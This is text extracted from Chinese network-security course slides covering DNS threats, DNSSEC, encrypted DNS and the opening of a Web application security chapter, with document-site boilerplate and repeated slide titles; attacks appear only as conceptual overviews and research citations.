計(jì)算機(jī)網(wǎng)絡(luò)安全原理(第2版)課件 第8-10章 DNS安全、Web應(yīng)用安全、電子郵件安全_第1頁(yè)
計(jì)算機(jī)網(wǎng)絡(luò)安全原理(第2版)課件 第8-10章 DNS安全、Web應(yīng)用安全、電子郵件安全_第2頁(yè)
計(jì)算機(jī)網(wǎng)絡(luò)安全原理(第2版)課件 第8-10章 DNS安全、Web應(yīng)用安全、電子郵件安全_第3頁(yè)
計(jì)算機(jī)網(wǎng)絡(luò)安全原理(第2版)課件 第8-10章 DNS安全、Web應(yīng)用安全、電子郵件安全_第4頁(yè)
計(jì)算機(jī)網(wǎng)絡(luò)安全原理(第2版)課件 第8-10章 DNS安全、Web應(yīng)用安全、電子郵件安全_第5頁(yè)
已閱讀5頁(yè),還剩495頁(yè)未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

第八章DNS安全內(nèi)容提綱DNS面臨的安全威脅2DNSSEC3DNS概述1DNS除了域名解析外,現(xiàn)代DNS還具有:應(yīng)用層路由:DNS把用戶的訪問(wèn)指向離用戶最近的那個(gè)CDN服務(wù)器節(jié)點(diǎn),負(fù)載均衡;Email服務(wù)器利用DNS服務(wù)器中的MX記錄作為路由,找到企業(yè)內(nèi)部真正的服務(wù)器DNS除了域名解析外,現(xiàn)代DNS還具有:DNS作為信任的基礎(chǔ):防偽造郵件、域名作為驗(yàn)證證書(shū)申請(qǐng)者身份的信任基礎(chǔ)DNS除了域名解析外,現(xiàn)代DNS還具有:DNS作為PKI:防止CA在未經(jīng)網(wǎng)站所有者授權(quán)的前提下簽發(fā)非法的證書(shū)域名的層次結(jié)構(gòu)DNS域名的層次結(jié)構(gòu)DNSDNS域名遞歸查詢過(guò)程遞歸查詢以瀏覽網(wǎng)站為例說(shuō)明域名解析過(guò)程瀏覽器導(dǎo)航欄中鍵入網(wǎng)站的域名或單擊URL鏈接后,瀏覽器將啟動(dòng)DNS解析過(guò)程來(lái)查找這些IP地址瀏覽器會(huì)向“解析器”(resolver)發(fā)送一個(gè)查詢,解析器會(huì)在本地保留以前查詢過(guò)的問(wèn)題的答案副本(緩存),如果存在直接響應(yīng)瀏覽器。如果緩存中沒(méi)有,則解析器會(huì)執(zhí)行完整的DNS解析過(guò)程。以瀏覽網(wǎng)站為例說(shuō)明域名解析過(guò)程向13個(gè)根服務(wù)器中的任意一個(gè)根服務(wù)器發(fā)送包含網(wǎng)站域名的查詢,詢問(wèn)該網(wǎng)站對(duì)應(yīng)的IP地址。收到查詢請(qǐng)求的根服務(wù)器會(huì)返回一個(gè)“引薦”(referral)作為響應(yīng),包含網(wǎng)站域名TLD的名稱(chēng)服務(wù)器的列表。例如,如果您嘗試訪問(wèn)網(wǎng)站,您的解析器將向其中一個(gè)根服務(wù)器發(fā)送一個(gè)查詢,詢問(wèn)該域名的IP地址,此時(shí),根服務(wù)器將返回一個(gè)列出了“.com”(我們示例中的TLD)的所有名稱(chēng)服務(wù)器的列表。以瀏覽網(wǎng)站為例說(shuō)明域名解析過(guò)程將同一查詢發(fā)送到引薦響應(yīng)中收到的其中一個(gè)TLD的名稱(chēng)服務(wù)器。TLD名稱(chēng)服務(wù)器通常也只包含它們負(fù)責(zé)的域的名稱(chēng)服務(wù)器信息。因此,就像發(fā)送到根服務(wù)器的查詢一樣,發(fā)送到TLD名稱(chēng)服務(wù)器的查詢也會(huì)收到引薦響應(yīng),提供一個(gè)有關(guān)所查詢的二級(jí)域的名稱(chēng)服務(wù)器列表。如前例,解析器將向其中一個(gè)“.com”名稱(chēng)服務(wù)器發(fā)送對(duì)“”的查詢,詢問(wèn)該域名的IP地址,“.com”名稱(chēng)服務(wù)器將返回一個(gè)列出“”的所有名稱(chēng)服務(wù)器的列表。以瀏覽網(wǎng)站為例說(shuō)明域名解析過(guò)程此解析過(guò)程將一直繼續(xù),直到將查詢發(fā)送到符合以下條件之一的域名服務(wù)器:擁有答案,即Web服務(wù)器的IP地址;或者域名服務(wù)器能夠發(fā)布權(quán)威性聲明,表示所查詢的域名不存在。在示例中,解析器將向其中一個(gè)“”的名稱(chēng)服務(wù)器發(fā)送對(duì)“”的查詢,該名稱(chēng)服務(wù)器可能知道與“”相關(guān)的IP地址,并返回這些地址。。以瀏覽網(wǎng)站為例說(shuō)明域名解析過(guò)程根服務(wù)器系統(tǒng)(rootserversystem)由1000多臺(tái)單獨(dú)的計(jì)算機(jī)(稱(chēng)為根服務(wù)器“節(jié)點(diǎn)”【instance】)組成,這些計(jì)算機(jī)會(huì)保留DNS的根數(shù)據(jù)。這些節(jié)點(diǎn)通過(guò)引薦頂級(jí)域的名稱(chēng)服務(wù)器來(lái)響應(yīng)來(lái)自互聯(lián)網(wǎng)解析器的查詢。根服務(wù)器鏡像根域名服務(wù)器遞歸與迭代相結(jié)合的查詢DNSDNS生態(tài)系統(tǒng)內(nèi)容提綱DNS面臨的安全威脅2DNSSEC3DNS概述1DNS面臨的安全威脅DNS面臨的安全威脅一、協(xié)議脆弱性域名欺騙:域名系統(tǒng)(包括DNS服務(wù)器和解析器)接收或使用來(lái)自未授權(quán)主機(jī)的不正確信息,事務(wù)ID欺騙和緩存投毒DNS安全威脅DNS緩存DNS安全威脅一、協(xié)議脆弱性域名欺騙:域名系統(tǒng)(包括DNS服務(wù)器和解析器)接收或使用來(lái)自未授權(quán)主機(jī)的不正確信息,事務(wù)ID欺騙和緩存投毒DNS安全威脅一、協(xié)議脆弱性USENIXSecurity2020:鄭曉峰等,PoisonOverTroubledForwarders:A

cachePoisoningAttackTargetingDNSForwardingDevices。提出了針對(duì)DNS協(xié)議設(shè)計(jì)的一種新的攻擊方法,可以針對(duì)廣泛部署的DNS轉(zhuǎn)發(fā)服務(wù)(如家用Wi-Fi路由器、公共Wi-Fi等場(chǎng)景)實(shí)現(xiàn)緩存污染攻擊,D-Link、Linksys、微軟DNS、開(kāi)源軟件dnsmasq等多個(gè)知名品牌的產(chǎn)品或系統(tǒng)可能受到該攻擊的影響。DNS安全威脅一、協(xié)議脆弱性域名欺騙:域名系統(tǒng)(包括DNS服務(wù)器和解析器)接收或使用來(lái)自未授權(quán)主機(jī)的不正確信息,事務(wù)ID欺騙和緩存投毒DNS安全威脅DNS安全威脅閱讀在線文檔“真的黑客能讓你分分鐘開(kāi)進(jìn)溝里,但他們不屑于此”(/s/z-Qk0-uDchvEtGKQDw8wkQ),討論2008年丹·卡明斯基發(fā)現(xiàn)的DNS緩存攻擊方法和2020年段海新、錢(qián)志云等人發(fā)現(xiàn)的DNS緩存攻擊方法的實(shí)現(xiàn)過(guò)程討論一、協(xié)議脆弱性網(wǎng)絡(luò)通信攻擊:針對(duì)DNS的網(wǎng)絡(luò)通信攻擊主要是DDoS攻擊、惡意網(wǎng)址重定向和中間人(man-in-the-middle,MITM)攻擊DNS安全威脅2016,DNS服務(wù)Dyn被DDoS攻擊2013,DNS被用于反射DDoS一、協(xié)議脆弱性網(wǎng)絡(luò)通信攻擊:DNS域名解析過(guò)程劫持DNS安全威脅段海新等USENIX2018一、協(xié)議脆弱性網(wǎng)絡(luò)通信攻擊:DNS域名解析過(guò)程劫持DNS安全威脅段海新等USENIX2018一、協(xié)議脆弱性網(wǎng)絡(luò)通信攻擊:DNS域名解析過(guò)程劫持DNS安全威脅段海新等USENIX2018一、協(xié)議脆弱性網(wǎng)絡(luò)通信攻擊:DNS域名解析過(guò)程劫持DNS安全威脅段海新等USENIX2018一、協(xié)議脆弱性網(wǎng)絡(luò)通信攻擊:DNS域名解析過(guò)程劫持DNS安全威脅段海新等USENIX2018一、協(xié)議脆弱性網(wǎng)絡(luò)通信攻擊:DNS域名解析過(guò)程劫持DNS安全威脅段海新等USENIX2018一、協(xié)議脆弱性網(wǎng)絡(luò)通信攻擊:DNS域名解析過(guò)程劫持DNS安全威脅段海新等USENIX2018一、協(xié)議脆弱性網(wǎng)絡(luò)通信攻擊:DNS域名解析過(guò)程劫持DNS安全威脅段海新等USENIX2018一、協(xié)議脆弱性網(wǎng)絡(luò)通信攻擊:DNS域名解析過(guò)程劫持DNS安全威脅段海新等USENIX2018一、協(xié)議脆弱性網(wǎng)絡(luò)通信攻擊:DNS域名解析過(guò)程劫持DNS安全威脅二、實(shí)現(xiàn)脆弱性DNS軟件,BIND的漏洞和缺陷無(wú)疑會(huì)給DNS系統(tǒng)帶來(lái)嚴(yán)重的威脅,其緩沖區(qū)溢出漏洞一度占據(jù)UNIX及Linux操作系統(tǒng)相關(guān)安全隱患的首位DNS安全威脅二、實(shí)現(xiàn)脆弱性DNS安全威脅二、實(shí)現(xiàn)脆弱性WindowsDNSServer實(shí)現(xiàn)安全漏洞(CVE-2020-1350)DNS安全威脅二、實(shí)驗(yàn)脆弱性DNS安全威脅三、操作脆弱性由于人為操作或配置錯(cuò)誤所帶來(lái)的安全隱患:域名配置攻擊、域名注冊(cè)攻擊和信息泄漏等DNS安全威脅攻擊目標(biāo)網(wǎng)站域名注冊(cè)服務(wù)提供商

修改目標(biāo)網(wǎng)站域名記錄

申請(qǐng)網(wǎng)站證書(shū)

偽裝成目標(biāo)網(wǎng)站組合攻擊實(shí)現(xiàn)網(wǎng)站假冒攻擊目標(biāo)網(wǎng)站域名注冊(cè)服務(wù)提供商

修改目標(biāo)網(wǎng)站域名記錄

申請(qǐng)網(wǎng)站證書(shū)

偽裝成目標(biāo)網(wǎng)站組合攻擊實(shí)現(xiàn)網(wǎng)站假冒攻擊目標(biāo)網(wǎng)站域名注冊(cè)服務(wù)提供商

修改目標(biāo)網(wǎng)站域名記錄

申請(qǐng)網(wǎng)站證書(shū)

偽裝成目標(biāo)網(wǎng)站組合攻擊實(shí)現(xiàn)網(wǎng)站假冒通過(guò)查看的域名系統(tǒng)(DNS)記錄,發(fā)現(xiàn)指向的是馬來(lái)西亞的Internet地址:9攻擊者還從Let’sEncrypt獲得了的免費(fèi)加密證書(shū)。組合攻擊實(shí)現(xiàn)網(wǎng)站假冒此外,IP被解析到域名組合攻擊實(shí)現(xiàn)網(wǎng)站假冒DNS是互聯(lián)網(wǎng)治理的焦點(diǎn)DNS是互聯(lián)網(wǎng)治理的焦點(diǎn),涉及技術(shù)標(biāo)準(zhǔn)、國(guó)際政治、法律經(jīng)濟(jì)等各種糾紛伊拉克戰(zhàn)爭(zhēng)期間,在美國(guó)政府授意下,伊拉克頂級(jí)域名“.iq”的申請(qǐng)和解析工作被終止,所有網(wǎng)址以“.iq”為后綴的網(wǎng)站從互聯(lián)網(wǎng)蒸發(fā)中國(guó)部署了4臺(tái)IPv6根域名服務(wù)器。打破壟斷、突破封鎖,中國(guó)徹底打破了沒(méi)有根服務(wù)器的困境。關(guān)于伊拉克國(guó)家域名IQ被刪除的事件:關(guān)于IPv6試驗(yàn)根項(xiàng)目:DNS是互聯(lián)網(wǎng)治理的焦點(diǎn)JonPostel:互聯(lián)網(wǎng)之神DNS是互聯(lián)網(wǎng)治理的焦點(diǎn)內(nèi)容提綱DNS面臨的安全威脅2DNSSEC3DNS概述1DNSSEC域名欺騙、惡意網(wǎng)址重定向和中間人攻擊之所以能夠成功,是因?yàn)镈NS解析的請(qǐng)求者無(wú)法驗(yàn)證它所收到的應(yīng)答信息的真實(shí)性和完整性。為應(yīng)對(duì)上述安全威脅,IETF提出了DNS安全擴(kuò)展協(xié)議(DNSSEC)。DNSSEC一、DNSSEC基本原理DNSSEC基本思想依賴于數(shù)字簽名和公鑰系統(tǒng)去保護(hù)DNS數(shù)據(jù)的可信性和完整性:權(quán)威域名服務(wù)器用自身的私鑰來(lái)簽名資源記錄,然后解析服務(wù)器用權(quán)威域名服務(wù)器的公鑰來(lái)認(rèn)證來(lái)自權(quán)威域名服務(wù)器的數(shù)據(jù),如果認(rèn)證成功,則表明接收到的數(shù)據(jù)確實(shí)來(lái)自權(quán)威域名服務(wù)器,則解析服務(wù)器接收數(shù)據(jù),如果認(rèn)證失敗,則表明接收到的數(shù)據(jù)很可能是偽造的,則解析服務(wù)器拋棄數(shù)據(jù)DNSSECDNSSEC基本思想盡管DNSSEC的原理比較簡(jiǎn)單,但其標(biāo)準(zhǔn)的制定和部署面臨著巨大的挑戰(zhàn):域名軟件之父保羅·維克多(PaulVixie)的曲折經(jīng)歷DNSSECPaulVixiePaulVixiePaulVixie以得到廣泛支持的RFC4033-4035版本為例簡(jiǎn)要介紹DNSSEC的基本內(nèi)容提供數(shù)據(jù)來(lái)源驗(yàn)證:DNS數(shù)據(jù)來(lái)自正確的域名服務(wù)器;

提供數(shù)據(jù)完整性驗(yàn)證:數(shù)據(jù)在傳輸過(guò)程中沒(méi)有任何更改;提供否定存在驗(yàn)證:對(duì)否定應(yīng)答報(bào)文提供驗(yàn)證信息DNSSEC原理以得到廣泛支持的RFC4033-4035版本為例簡(jiǎn)要介紹DNSSEC的基本內(nèi)容提供數(shù)據(jù)來(lái)源驗(yàn)證:DNS數(shù)據(jù)來(lái)自正確的域名服務(wù)器;

提供數(shù)據(jù)完整性驗(yàn)證:數(shù)據(jù)在傳輸過(guò)程中沒(méi)有任何更改;提供否定存在驗(yàn)證:對(duì)否定應(yīng)答報(bào)文提供驗(yàn)證信息DNSSEC原理以得到廣泛支持的RFC4033-4035版本為例簡(jiǎn)要介紹DNSSEC的基本內(nèi)容DNSSEC原理DNSSEC中新增的四種類(lèi)型的資源記錄:DNSKEY(DNSPublicKey)、RRSIG(ResourceRecordSignature)、DS(DelegationSigner)、NSEC(NextSecure)DNSSEC資源記錄DNSKEY:存儲(chǔ)服務(wù)器的公開(kāi)密鑰DNSSEC資源記錄標(biāo)志(Flags)協(xié)議(Protocol)算法(Algorithm)公鑰(Public

Key)2

octets1

octet1

octetDNSKEY:存儲(chǔ)服務(wù)器的公開(kāi)密鑰DNSSEC資源記錄DNSKEY:存儲(chǔ)服務(wù)器的公開(kāi)密鑰DNSSEC資源記錄在DNSSEC的實(shí)踐中,權(quán)威域的管理員通常用兩對(duì)密鑰配合完成對(duì)區(qū)數(shù)據(jù)的簽名第一對(duì)密鑰用來(lái)對(duì)區(qū)內(nèi)的DNS資源記錄進(jìn)行簽名,稱(chēng)為區(qū)簽名密鑰(ZoneSigningKey,ZSK),由權(quán)威認(rèn)證服務(wù)器生成、簽名。另一對(duì)稱(chēng)為密鑰簽名密鑰(KeySigningKey,KSK)的公私鑰對(duì),用來(lái)對(duì)包含密鑰(如ZSK)的資源記錄(DNSKEY)進(jìn)行簽名,并將簽名結(jié)果放在DNSKEY的RRSIG記錄中DNSSEC資源記錄DNSKEY:存儲(chǔ)服務(wù)器的公開(kāi)密鑰DNSSEC資源記錄DNSSEC信任根信息可以查IANA的網(wǎng)站(/dnssec/files)信任鏈建立過(guò)程RoottrustanchorsRRSIG:存儲(chǔ)對(duì)資源記錄集合(RRSets)的數(shù)字簽名DNSSEC資源記錄RRSIG:存儲(chǔ)對(duì)資源記錄集合(RRSets)的數(shù)字簽名DNSSEC資源記錄RRSIG:存儲(chǔ)對(duì)資源記錄集合(RRSets)的數(shù)字簽名DNSSEC資源記錄NSEC:為了應(yīng)答那些不存在的資源記錄而設(shè)計(jì)在區(qū)數(shù)據(jù)簽名時(shí),NSEC記錄會(huì)自動(dòng)生成。如在和之間會(huì)插入下面的兩條記錄DNSSEC資源記錄涉及到所有者域名的排序問(wèn)題DS:記錄存儲(chǔ)DNSKEY的散列值,用于驗(yàn)證DNSKEY的真實(shí)性,從而建立一個(gè)信任鏈DNSSEC資源記錄DS:記錄存儲(chǔ)DNSKEY的散列值,用于驗(yàn)證DNSKEY的真實(shí)性,從而建立一個(gè)信任鏈DNSSEC資源記錄示例:區(qū)DNS資源記錄內(nèi)容簽名前后的變化情況DNSSEC資源記錄DNSSEC新增的4種資源記錄,這些記錄的長(zhǎng)度遠(yuǎn)遠(yuǎn)超過(guò)了最初的DNS協(xié)議標(biāo)準(zhǔn)規(guī)定的512字節(jié),而要求DNS報(bào)文大小必須達(dá)到1220字節(jié),甚至是4096字節(jié)。因此DNS服務(wù)器如果要支持DNSSEC,則首先需要支持?jǐn)U展DNS機(jī)制(ExtensionMechanismsforDNS,EDNS)DNSSEC對(duì)DNS協(xié)議的修改1987年的RFC1035限制了DNS報(bào)文大小、新功能EDNS擴(kuò)展DNS格式和功能IPv6、DNSSEC、ECS等向后兼容的Workaround嘗試服務(wù)器不支持或被防火墻過(guò)濾DNSFlagday:2019/2/1日后,對(duì)EDNS實(shí)現(xiàn)不標(biāo)準(zhǔn)的授權(quán)服務(wù)器,Google等公共DNS將不再嘗試訪問(wèn),可能導(dǎo)致解析失敗EDNS1987年的RFC1035限制了DNS報(bào)文大小、新功能EDNS擴(kuò)展DNS格式和功能EDNS偽資源記錄:DNSSEC對(duì)DNS協(xié)議的修改DNSSEC在協(xié)議報(bào)文頭中增加了三個(gè)標(biāo)志位:DO(DNSSECOK,參見(jiàn)RFC3225)標(biāo)志位:支持DNSSEC標(biāo)志位AD(AuthenticData)標(biāo)志位:認(rèn)證數(shù)據(jù)標(biāo)志CD

(CheckingDisabled)標(biāo)志:關(guān)閉檢查標(biāo)志位DNSSEC對(duì)DNS協(xié)議的修改偽資源記錄(OPT)DNSSEC遞歸解析過(guò)程DNSSECDNSSEC遞歸解析過(guò)程DNSSECDNSSEC解析示例解析示例參見(jiàn)教材配套的實(shí)驗(yàn)指導(dǎo)書(shū)的8.2.3節(jié)查看DNSSEC域名解析過(guò)程/二、DNSSEC配置兩項(xiàng)工作:配置安全的域名解析服務(wù)器(resolver),該服務(wù)器可以保護(hù)使用它的用戶,防止被DNS欺騙攻擊。這里只涉及數(shù)字簽名的驗(yàn)證工作。配置安全的權(quán)威域名服務(wù)器(nameserver),對(duì)權(quán)威域的資源記錄進(jìn)行簽名,保護(hù)服務(wù)器不被域名欺騙攻擊。DNSSEC配置以BIND9為例介紹(教材8.3.2節(jié))DNSSEC配置三、DNSSEC安全性分析DNSSEC的安全性取決于PKI所用密鑰的安全性DNSSEC選擇RSA/SHA-n加密算法,即首先將要傳送的數(shù)據(jù)通過(guò)SHA-n算法進(jìn)行安全散列變換,然后利用RSA算法生成的私鑰進(jìn)行數(shù)字簽名DNSSEC安全性分析DNSSEC通過(guò)數(shù)字簽名保證域名信息的真實(shí)性和完整性,防止對(duì)域名服務(wù)信息的偽造、篡改DNSSEC并不保證機(jī)密性,因?yàn)樗粚?duì)DNS記錄進(jìn)行加密也解決不了DNS服務(wù)器本身的安全問(wèn)題,如被入侵、存儲(chǔ)的Zone數(shù)據(jù)被篡改、拒絕服務(wù)攻擊、DNS軟件的實(shí)現(xiàn)問(wèn)題等DNSSEC安全性分析由于DNSSEC的報(bào)文長(zhǎng)度增加和解析過(guò)程繁復(fù),在面臨DDoS攻擊時(shí),DNS服務(wù)器承受的負(fù)擔(dān)更為嚴(yán)重,抵抗攻擊所需的資源要成倍增加DNSSEC安全性分析DNS加密(DNSCrypt)DNS加密(DNSCrypt)DNS加密(DNSCrypt)DNS加密(DoH)DNS的隱私革命:ObliviousDNS2020年12月:Cloudflare在官方博客宣布支持一項(xiàng)新提議的DNS標(biāo)準(zhǔn)——ObliviousDNS。該標(biāo)準(zhǔn)由Cloudflare、Apple和Fastly三家公司的工程師共同撰寫(xiě),能夠?qū)P地址(創(chuàng)建)與查詢分開(kāi),從而確保沒(méi)有一個(gè)實(shí)體可以同時(shí)看到兩者(從而獲取用戶隱私)DNS加密(ODoH)四、DNSSEC部署DNSSEC的部署也面臨著巨大挑戰(zhàn)。1999年RFC2535發(fā)布后的近10年間,DNSSEC受限于技術(shù)、成本、網(wǎng)絡(luò)性能等多方面因素的影響,一直未得到各方面的充分重視,部署進(jìn)展緩慢。BIND9的開(kāi)發(fā)主要用于支持DNSSEC協(xié)議。2000年,瑞典在其國(guó)家頂級(jí)域中首次嘗試部署DNSSEC協(xié)議,但發(fā)現(xiàn)存在隱私和擴(kuò)展方面的問(wèn)題。隨后幾年,DNSSEC協(xié)議修修補(bǔ)補(bǔ),部署實(shí)施進(jìn)展緩慢DNSSEC部署DNSSEC部署DNSSEC部署截止2018年底,中美著名公共DNS服務(wù)器支持DNSSEC的情況DNSSEC部署DNSSEC部署DNSSEC部署DNSSEC部署DNSSEC部署中美三個(gè)行業(yè)權(quán)威服務(wù)器DNSSEC部署情況DNSSEC部署FourteenYearsintheLife:ARootServer’sPerspectiveonDNSResolverSecurity(USENIXSecurity2023)作者指出,即使部署最高危的安全修復(fù)也需要時(shí)間。沒(méi)有使用SPR的DNS解析器比例下降到2008年的一半,總共花了三年時(shí)間。直到rootzone被簽名8年后,DNSSEC驗(yàn)證的使用才達(dá)到20%。DNScookie規(guī)范發(fā)布5年后,2021年甚至沒(méi)有達(dá)到DNS解析器的10%。0x20encoding甚至從未達(dá)到1%的DNS解析器。DNSSEC部署DNSSEC協(xié)議設(shè)計(jì)時(shí)并沒(méi)有考慮增量式部署的情況,其安全功能是基于所有DNS服務(wù)器全部采用DNSSEC協(xié)議這一假設(shè)的在DNSSEC完全部署到位之前,會(huì)造成“安全孤島”現(xiàn)象如何判斷一個(gè)域名服務(wù)器是否支持DNSSEC?問(wèn)題分析判斷一個(gè)域名是否支持DNSSEC判斷一個(gè)域名是否支持DNSSEC隨著DNSSEC、DoT、DoH等技術(shù)的推廣應(yīng)用,以及新的域名安全技術(shù)的提出及應(yīng)用將持續(xù)改善域名安全狀況未來(lái)發(fā)展本章小結(jié)作業(yè)參考內(nèi)容一、討論:美國(guó)真的能讓一個(gè)國(guó)家從互聯(lián)網(wǎng)上消失嗎?美國(guó)如果在根域名服務(wù)器上把中國(guó)域名給封了,中國(guó)會(huì)從網(wǎng)絡(luò)上消失?討論:美國(guó)對(duì)域名的控制權(quán)2021.6.22美國(guó)扣押伊朗網(wǎng)站域名事件討論:美國(guó)對(duì)域名的控制權(quán)構(gòu)建獨(dú)立網(wǎng)絡(luò)的爭(zhēng)議據(jù)俄新社報(bào)道,當(dāng)?shù)貢r(shí)間2021年2月1日,俄羅斯聯(lián)邦安全委員會(huì)副主席梅德韋杰夫在接受俄羅斯媒體采訪時(shí)表示:“互聯(lián)網(wǎng)是特定階段的產(chǎn)物,但是它處于美國(guó)的掌控之下。在緊急情況下其運(yùn)用斷網(wǎng)這一手段,可能性是非常大的?!?、“切斷俄羅斯與全球互聯(lián)網(wǎng)的聯(lián)系,并運(yùn)行俄羅斯獨(dú)立網(wǎng)絡(luò)在技術(shù)上已成為可能,政府對(duì)此種情況已有預(yù)案。”、“俄羅斯在獨(dú)立網(wǎng)絡(luò)的技術(shù)上已一切準(zhǔn)備就緒,法律層面也在推進(jìn)”。有關(guān)是否要建立獨(dú)立網(wǎng)絡(luò)政界和學(xué)術(shù)界存在爭(zhēng)議,有些人不太認(rèn)同美國(guó)政府是否有能力或有意愿這么做。討論:美國(guó)對(duì)域名的控制權(quán)二、DNS加密DNS加密廣受爭(zhēng)議討論DNSSEC、DNSEncrypt就安全了嗎?討論攻防永遠(yuǎn)在路上

三、DNS生態(tài)系統(tǒng)安全DANE生態(tài)系統(tǒng)安全分析討論USENIXSecurity2020討論域名解析的依賴關(guān)系有時(shí)并不取決于域名所在的層次,比如CERNET.NET的域名的解析依賴于.CN、.HK和.DE。根據(jù)2015年的測(cè)試結(jié)果,CERNET.NET的域名解析可能依賴于24個(gè)域名討論:域名空間的依賴關(guān)系2013年段海新等人的分析結(jié)果討論:域名空間的依賴關(guān)系域名依賴導(dǎo)致的安全問(wèn)題在中間路徑上劫持域名部分域名可能成為瓶頸,對(duì)這些瓶頸域名的攻擊可能導(dǎo)致網(wǎng)絡(luò)大規(guī)模的癱瘓討論:域名空間的依賴關(guān)系DNSForwarder中的安全問(wèn)題討論USENIXSecurity2020論DNS生態(tài)系統(tǒng)安全論DNS生態(tài)系統(tǒng)安全論DNS生態(tài)系統(tǒng)安全論DNS生態(tài)系統(tǒng)安全論DNS生態(tài)系統(tǒng)安全論DNS生態(tài)系統(tǒng)安全論DNS生態(tài)系統(tǒng)安全論DNS生態(tài)系統(tǒng)安全論DNS生態(tài)系統(tǒng)安全論DNS生態(tài)系統(tǒng)安全論DNS生態(tài)系統(tǒng)安全論DNS生態(tài)系統(tǒng)安全論DNS生態(tài)系統(tǒng)安全論DNS生態(tài)系統(tǒng)安全論DNS生態(tài)系統(tǒng)安全第九章Web應(yīng)用安全HTTPS31Web應(yīng)用體系結(jié)構(gòu)脆弱性分析常見(jiàn)Web應(yīng)用攻擊及防范內(nèi)容提綱HTTPoverQUIC24Web應(yīng)用防火墻WAF5Web應(yīng)用體系結(jié)構(gòu)Web客戶端Web服務(wù)器Web應(yīng)用程序Web應(yīng)用程序Web應(yīng)用程序傳輸層

數(shù)據(jù)庫(kù)

連接器

數(shù)據(jù)庫(kù)

連接器

Edge,Chrome,Firefox,etc.HTTP/HTTPS請(qǐng)求明文或SSLHTTP響應(yīng)(HTML,JavaScript,etc.)

ApacheIISetc.

PerlC++CGIJavaASPPHPetc.

ADOODBCJDBCetc.

OracleSQLServeretc.網(wǎng)站W(wǎng)eb應(yīng)用體系結(jié)構(gòu)Web客戶端活動(dòng)內(nèi)容執(zhí)行,客戶端軟件漏洞的利用,交互站點(diǎn)腳本的錯(cuò)誤傳輸偷聽(tīng)客戶-服務(wù)器通信,SSL重定向Web服務(wù)器Web服務(wù)器軟件漏洞Web應(yīng)用體系結(jié)構(gòu)Web應(yīng)用程序攻擊授權(quán)、認(rèn)證、站點(diǎn)結(jié)構(gòu)、輸入驗(yàn)證,以及應(yīng)用程序邏輯數(shù)據(jù)庫(kù)通過(guò)數(shù)據(jù)庫(kù)查詢運(yùn)行優(yōu)先權(quán)命令,查詢操縱返回額外的數(shù)據(jù)集。Web應(yīng)用程序功能與安全隱患的對(duì)應(yīng)關(guān)系Web應(yīng)用安全HTTP協(xié)議是一種簡(jiǎn)單的、無(wú)狀態(tài)的應(yīng)用層協(xié)議(RFC1945、RFC2616)無(wú)狀態(tài)使攻擊變得容易基于ASCII碼,無(wú)需弄清復(fù)雜的二進(jìn)制編碼機(jī)制,攻擊者就可了解協(xié)議中的明文信息互聯(lián)網(wǎng)中存在的大量中間盒子,HTTP標(biāo)準(zhǔn)(RFC2616和RFC7320)的理解如果不一致,就有可能導(dǎo)致一些新的攻擊發(fā)生HTTP協(xié)議安全問(wèn)題HTTP會(huì)話經(jīng)常被劫持HTTP協(xié)議安全問(wèn)題HTTP會(huì)話頭泄露隱私信息HTTP協(xié)議安全問(wèn)題中間盒子帶來(lái)的HTTP安全問(wèn)題HTTP協(xié)議安全問(wèn)題HTTP協(xié)議安全問(wèn)題HTTP協(xié)議安全問(wèn)題HTTP協(xié)議安全問(wèn)題HTTP協(xié)議安全問(wèn)題HTTP協(xié)議安全問(wèn)題HTTP協(xié)議安全問(wèn)題HTTP協(xié)議安全問(wèn)題HTTP協(xié)議安全問(wèn)題HTTP協(xié)議安全問(wèn)題HTTP協(xié)議安全問(wèn)題HTTP協(xié)議安全問(wèn)題HTTP協(xié)議安全問(wèn)題為什么需要Cookie?解決無(wú)狀態(tài)問(wèn)題:保存客戶服務(wù)器之間的一些狀態(tài)信息Cookie是指網(wǎng)站為了辨別用戶身份、進(jìn)行會(huì)話跟蹤而儲(chǔ)存在用戶本地終端上的一些數(shù)據(jù)(通常經(jīng)過(guò)編碼),最早由網(wǎng)景公司的LouMontulli在1993年3月發(fā)明的,后被采納為RFC標(biāo)準(zhǔn)(RFC2109、RFC2965)Cookie的安全問(wèn)題Cookie的生成與維護(hù)由服務(wù)器端生成,發(fā)送給客戶端(一般是瀏覽器),瀏覽器會(huì)將Cookie的值保存到某個(gè)目錄下的文本文件內(nèi),下次請(qǐng)求同一網(wǎng)站時(shí)就發(fā)送該Cookie給服務(wù)器(前提是瀏覽器設(shè)置為啟用Cookie)服務(wù)器可以利用Cookie存儲(chǔ)信息并經(jīng)常性地維護(hù)這些信息,從而判斷在HTTP傳輸中的狀態(tài)Cookie安全問(wèn)題Cookie的生成與維護(hù)Cookie在生成時(shí)就會(huì)被指定一個(gè)Expire值,這就是Cookie的生存周期。到期自動(dòng)清除如果一臺(tái)計(jì)算機(jī)上安裝了多個(gè)瀏覽器,每個(gè)瀏覽器都會(huì)在各自獨(dú)立的空間存放CookieCookie中的內(nèi)容大多數(shù)經(jīng)過(guò)了編碼處理Cookie安全問(wèn)題Cookie的一般格式如下:NAME=VALUE;expires=DATE;path=PATH;domain=DOMAIN_NAME;secure示例autolog=bWlrzTpteXMxy3IzdA%3D%3D;expires=Sat,01-Jan-201800:00:00GMT;path=/;domain=Cookie安全問(wèn)題Cookie中包含了一些敏感信息,如用戶名、計(jì)算機(jī)名、使用的瀏覽器和曾經(jīng)訪問(wèn)的網(wǎng)站等,攻擊者可以利用它來(lái)進(jìn)行竊密和欺騙攻擊Cookie安全問(wèn)題HTTPS31Web應(yīng)用體系結(jié)構(gòu)脆弱性分析常見(jiàn)Web應(yīng)用攻擊及防范內(nèi)容提綱HTTPoverQUIC24Web應(yīng)用防火墻WAF5OWASP十大安全漏洞變遷史OWASPOWASP:OpenWebApplicationSecurityProject,一個(gè)全志愿者組成的、非營(yíng)利性機(jī)構(gòu)開(kāi)發(fā)和出版免費(fèi)專(zhuān)業(yè)開(kāi)源的文檔、工具和標(biāo)準(zhǔn),如:

“TheTenMostCriticalWebApplicationSecurityVulnerabilities”,《AGuidetoBuildingSecureWebApplications》,

